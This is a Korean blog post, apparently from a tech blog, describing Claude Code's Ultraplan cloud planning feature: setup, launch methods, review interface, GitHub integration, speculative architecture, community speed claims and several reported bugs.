&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Ultra Plan&quot;이라는 명칭은 두 가지 맥락에서 쓰인다. 하나는 Claude.ai의 유료 구독 플랜인 &lt;b&gt;Max 플랜&lt;/b&gt;이고, 다른 하나는 Claude Code의 기능인 &lt;b&gt;Ultraplan(/ultraplan 명령어)&lt;/b&gt;이다. 이 글에서는 후자, 즉 Claude Code의 기능에 초점을 맞춘다. Max 플랜의 요금 정보는 6절에서 다룬다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #856404;&quot;&gt;⚠ 주의&lt;/span&gt;&lt;/b&gt;: Ultraplan은 공식적으로 &lt;b&gt;research preview&lt;/b&gt; 단계이며, 동작과 기능이 피드백에 따라 변경될 수 있다. Claude Code v2.1.91 이상이 필요하며, Amazon Bedrock, Google Cloud Vertex AI, Microsoft Foundry 환경에서는 사용할 수 없다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 2 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 시작하기: 가입, 설정, GitHub 연동&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;필수 조건&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan을 사용하려면 두 가지 조건이 필요하다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Claude.ai 계정&lt;/b&gt;: Pro, Max, Team, 또는 Enterprise 플랜 (Free 플랜 불가)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;GitHub 저장소 연동&lt;/b&gt;: Ultraplan은 클라우드 VM에서 저장소를 클론하므로 GitHub 연동이 필요하다 (비연동 시 로컬 번들 폴백 존재)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬에만 있는 저장소나 커밋되지 않은 변경사항이 많은 저장소에서는 불완전한 컨텍스트로 플랜이 생성될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Ultraplan을 실행하는 세 가지 방법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;에 따르면 Ultraplan 실행 방법은 세 가지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 1: 직접 명령어 입력&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/ultraplan migrate the auth service from sessions to JWTs&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 2: 프롬프트 내 키워드 감지&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프롬프트 어디에든 &quot;ultraplan&quot;이라는 단어를 포함하면 자동으로 Ultraplan 모드가 활성화된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 3: 로컬 플랜 완료 후 전환&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 플랜 완료 후 승인 다이얼로그에서 &quot;No, refine with Ultraplan on Claude Code on the web&quot;을 선택하면, 로컬 플랜 초안을 클라우드로 보내 더 정교하게 다듬을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;진행 중인 Ultraplan 세션 모니터링&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan 세션이 실행되는 동안 로컬 터미널에서 아래 명령어로 상태를 확인할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;isbl&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/tasks&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;목록에서 ultraplan 항목을 선택하면 세션 링크, 에이전트 활동, Stop 옵션이 포함된 상세 뷰가 열린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 주요 기능 상세&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;클라우드 플래닝 완료 후 실행 선택&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #856404;&quot;&gt;⚠ Remote Control 해제&lt;/span&gt;&lt;/b&gt;: Ultraplan 시작 시 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/remote-control&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Remote Control&lt;/a&gt;이 활성화되어 있으면 자동으로 해제된다. 두 기능이 동일한 claude.ai/code 인터페이스를 점유하므로 동시에 사용할 수 없다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan 플래닝이 완료되면 브라우저에서 두 가지 실행 경로를 선택한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;브라우저에서 구현&lt;/b&gt;: &quot;Approve Claude's plan and start coding&quot; &amp;rarr; 동일한 Claude Code on the web 세션에서 바로 구현 시작&lt;/li&gt;
&lt;li&gt;&lt;b&gt;터미널로 텔레포트&lt;/b&gt;: &quot;Approve plan and teleport back to terminal&quot; &amp;rarr; 승인된 플랜이 로컬 터미널로 전달&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널로 텔레포트를 선택하면, 로컬 CLI에 &lt;b&gt;&quot;Ultraplan approved&quot;&lt;/b&gt; 다이얼로그가 표시되며 세 가지 후속 선택지가 제공된다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Implement here&lt;/b&gt;: 현재 대화에 플랜을 주입하고 이어서 구현&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Start new session&lt;/b&gt;: 기존 대화를 비우고 플랜만으로 새 세션 시작&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Cancel&lt;/b&gt;: 플랜을 파일로 저장하고 나중에 다시 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;리뷰 인터페이스: 플랜 검토 및 수정 요청&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라우드에서 플랜이 생성되면 브라우저 리뷰 뷰에서 상세하게 검토할 수 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;인라인 댓글&lt;/b&gt;: 특정 문단을 하이라이트하고 수정 요청 댓글 작성 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이모지 반응&lt;/b&gt;: 섹션별로 승인 또는 우려 표시&lt;/li&gt;
&lt;li&gt;&lt;b&gt;아웃라인 사이드바&lt;/b&gt;: 긴 플랜의 섹션 간 빠른 이동&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 인터페이스는 단순히 플랜을 보는 것을 넘어, Claude와 대화하며 플랜을 정교하게 다듬을 수 있게 해준다. 특히 여러 사람이 플랜을 리뷰해야 하는 팀 환경에서 유용하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;GitHub 연동과 대규모 리팩토링&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan이 특히 빛을 발하는 시나리오는 대규모 리팩토링이다. Claude Code의 Agent Teams 기능은 복잡한 작업을 서브태스크로 분해하고 병렬 서브에이전트를 스폰한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2040&quot; data-origin-height=&quot;1038&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2QXrT/dJMcabRjBbb/7Zs2kIyMOFBOBA8g6Jwj60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2QXrT/dJMcabRjBbb/7Zs2kIyMOFBOBA8g6Jwj60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2QXrT/dJMcabRjBbb/7Zs2kIyMOFBOBA8g6Jwj60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2QXrT%2FdJMcabRjBbb%2F7Zs2kIyMOFBOBA8g6Jwj60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2040&quot; height=&quot;1038&quot; data-origin-width=&quot;2040&quot; data-origin-height=&quot;1038&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 대형 코드베이스 리팩토링 시:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;에이전트 A: 데이터 모델 업데이트&lt;/li&gt;
&lt;li&gt;에이전트 B: 테스트 코드 재작성&lt;/li&gt;
&lt;li&gt;에이전트 C: 문서 업데이트&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 작업이 동시에 진행된다. GitHub 연동을 통해 클라우드 컨테이너가 저장소에 접근하고, 결과를 브라우저에서 검토한 뒤 PR로 병합하는 워크플로우가 가능하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Code GitHub Action&lt;/b&gt;: GitHub PR과 이슈에서 &lt;code&gt;@claude&lt;/code&gt;를 멘션하면 자동으로 Claude Code가 활성화되어 코드 변경을 구현할 수 있다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code-action&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 4 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 아키텍처 : 공개 정보 기반 추정&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 섹션은 공개된 소스코드 유출 분석, 공식 문서, 커뮤니티 역분석을 기반으로 한 추정이다. Anthropic이 공식적으로 확인한 내부 구현 상세가 아니다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;어떻게 클라우드에서 저장소에 접근하는가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서에 따르면, 클라우드 세션은 GitHub remote에서 현재 브랜치를 클론하여 실행된다. 따라서 로컬에만 있는 커밋은 먼저 push해야 클라우드에서 접근할 수 있다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/claude-code-on-the-web&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code on the web 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GitHub 연동이 없는 저장소의 경우, 로컬 저장소를 번들로 패킹하여 클라우드에 업로드하는 폴백 메커니즘도 존재한다. 단, 번들 크기 100MB 제한이 있으며 untracked 파일은 포함되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;클라우드 세션과 병렬 에이전트 아키텍처&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서에 따르면, 각 클라우드 세션은 격리된 Anthropic 관리 VM에서 실행되며, 리소스 상한은 약 4 vCPU / 16GB RAM / 30GB 디스크이다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/claude-code-on-the-web&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026-03-31 소스코드 유출 분석(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://techsy.io/blog/claude-code-leaked-features-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;참고&lt;/a&gt;)에서는 내부적으로 CCR(Cloud Container Runtime)이라는 용어, Opus 4.6 모델 사용, 최대 30분 실행 등이 언급되었으나, 이는 공식 문서에서 확인되지 않는 커뮤니티 역분석 결과이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라우드 환경에서 서브에이전트(Task tool)를 통한 병렬 처리가 가능한 것은 공식 문서에서 확인된다. 이것이 로컬 대비 처리 속도 향상의 원인으로 추정되지만, 구체적인 병렬화 수준은 공식적으로 공개되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;하네스 엔지니어링 패러다임&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqcuf7/dJMcaarmroP/CnxwTbKwSEMOF4EOK1zGi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqcuf7/dJMcaarmroP/CnxwTbKwSEMOF4EOK1zGi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqcuf7/dJMcaarmroP/CnxwTbKwSEMOF4EOK1zGi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcqcuf7%2FdJMcaarmroP%2FCnxwTbKwSEMOF4EOK1zGi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2002&quot; height=&quot;1094&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Prompt Engineering&lt;/b&gt;: 단일 프롬프트로 AI에게 요청&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Context Engineering&lt;/b&gt;: CLAUDE.md, Rules, Memory 등 컨텍스트를 설계하여 AI 동작 제어&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Harness Engineering&lt;/b&gt;: 여러 AI 에이전트를 오케스트레이션하는 시스템 설계&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 관점에서 Ultraplan은 하네스 엔지니어링의 실제 구현체다. 사용자는 단순히 Claude Code를 사용하는 것이 아니라, 클라우드 에이전트 하네스를 운용하는 엔지니어가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발표자료가 제안하는 2026 AI Developer OS 계층 구조는 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;계층&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;도구&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Overlord&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Ultraplan, Paperclip&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;최상위 오케스트레이션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Command&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code, Anti-gravity&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 에이전트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Logic&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MCP&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;도구 통합 레이어&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Core&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Flutter, NestJS, TypeScript&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기반 기술 스택&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: Overlord가 목표를 정의하고, Command가 코드를 작성하고, Logic이 외부 도구를 연결하고, Core가 실제 결과물을 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 사용 경험과 커뮤니티 반응&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;속도: 얼마나 빠른가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한국 커뮤니티(GeekNews 등)에서 바이럴된 포스팅 에서는 &quot;로컬 plan mode 5분 30초 vs Ultra Plan 30초 &amp;rarr; 약 11배 빠름&quot;을 주장했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #856404; font-weight: bold;&quot;&gt;⚠ 주의&lt;/span&gt;: 이 &quot;11배 빠르다&quot; 이 수치는 커뮤니티 포스트의 단일 사례에서 비롯된 것으로, 독립적으로 검증하지 못했다. 영문 기술 블로그들은 &quot;로컬 대비 약 2배 빠른 처리&quot;를 언급하고 있다. 실제 속도 향상은 작업 복잡도, 저장소 크기, 서버 부하에 따라 크게 달라질 수 있다. 직접 테스트로 확인하는 것이 권장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것이 의미하는 바 : 속도 향상의 본질은 단순한 모델 성능 차이가 아니라, 클라우드 병렬 에이전트 아키텍처에 있다. 같은 작업을 여러 에이전트가 동시에 처리하기 때문에, 복잡한 작업일수록 속도 이점이 커진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커스텀 Skill 제한사항: 설계상 제약 + 버그&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공식 문서 기준 클라우드 세션에서의 설정 동기화&lt;/b&gt; (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/claude-code-on-the-web&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;사용 가능&lt;/b&gt;: 프로젝트에 커밋된 &lt;code&gt;.claude/skills/&lt;/code&gt;, &lt;code&gt;.claude/agents/&lt;/code&gt;, &lt;code&gt;.claude/commands/&lt;/code&gt;, &lt;code&gt;.claude/rules/&lt;/code&gt;, &lt;code&gt;CLAUDE.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용 불가&lt;/b&gt;: 유저 레벨 &lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt;, &lt;code&gt;~/.claude/settings.json&lt;/code&gt;의 유저 스코프 플러그인, &lt;code&gt;claude mcp add&lt;/code&gt;로 추가한 MCP 서버&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, &lt;b&gt;프로젝트 저장소에 커밋된 skill과 커맨드는 클라우드에서 정상 작동한다.&lt;/b&gt; 작동하지 않는 것은 로컬 머신에만 존재하는 유저 레벨 설정이며, 이는 버그가 아닌 &lt;b&gt;설계상 제한&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, 이와 별개로 GitHub Issues에 리포트된 실제 버그도 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GitHub Issues에는 세 가지 관련 버그가 리포트되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;버그 1: 커스텀 커맨드/스킬 오작동 (v0.88+)&lt;/b&gt;&lt;br /&gt;v0.88 이후 버전에서 사용자 정의 커맨드와 스킬이 올바르게 로드되지 않거나 잘못된 커맨드를 호출하는 문제가 지속 리포트되고 있다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/41882&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #41882&lt;/a&gt;) 이는 토큰 낭비와 잘못된 동작으로 이어진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;버그 2: Ultraplan 승인 후 Plan Mode 위반&lt;/b&gt;&lt;br /&gt;Ultraplan 결과를 승인한 후, 모델이 plan mode 제약을 무시하고 소스 파일을 직접 편집하는 버그가 존재한다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/43576&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #43576&lt;/a&gt;) 원래는 플랜 파일에 내용을 쓰고 ExitPlanMode를 호출해야 하지만, ultraplan 결과를 받은 후에는 이 규칙이 위반된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;버그 3: 커스텀 슬래시 커맨드 미인식&lt;/b&gt;&lt;br /&gt;~/.claude/commands/ 디렉토리의 커스텀 슬래시 커맨드가 인식되지 않는 문제도 리포트되고 있다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/41243&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #41243&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것이 의미하는 바: Ultraplan의 클라우드 환경은 저장소 클론에서 시작하므로, 저장소에 커밋되지 않은 유저 레벨 설정(&lt;code&gt;~/.claude/&lt;/code&gt;)은 접근할 수 없다. skill이나 커맨드를 클라우드에서 사용하려면, 반드시 프로젝트의 &lt;code&gt;.claude/&lt;/code&gt; 디렉토리에 커밋해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
